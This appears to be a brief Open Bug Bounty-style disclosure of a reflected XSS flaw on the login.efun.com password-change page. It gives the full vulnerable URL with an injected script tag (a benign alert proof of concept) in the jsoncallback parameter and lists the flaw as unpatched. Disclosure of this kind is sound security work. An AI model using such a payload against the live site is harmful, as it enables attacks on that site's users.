login.efun.com XSS vulnerability

Vulnerable URL: https://login.efun.com/pcLoginchangePwd.shtml?jsoncallback=jQuery181028144064539414341507548429364kmuy9%3Cscript%3Ealert/openbugbounty/%3C%2fscript%3Eh367f=enUS=null=xxxxxxxxxxxxxx=123456=true&=1507548900422 Details: Description| Value ---|--- Patched:| No Latest check for patch:|...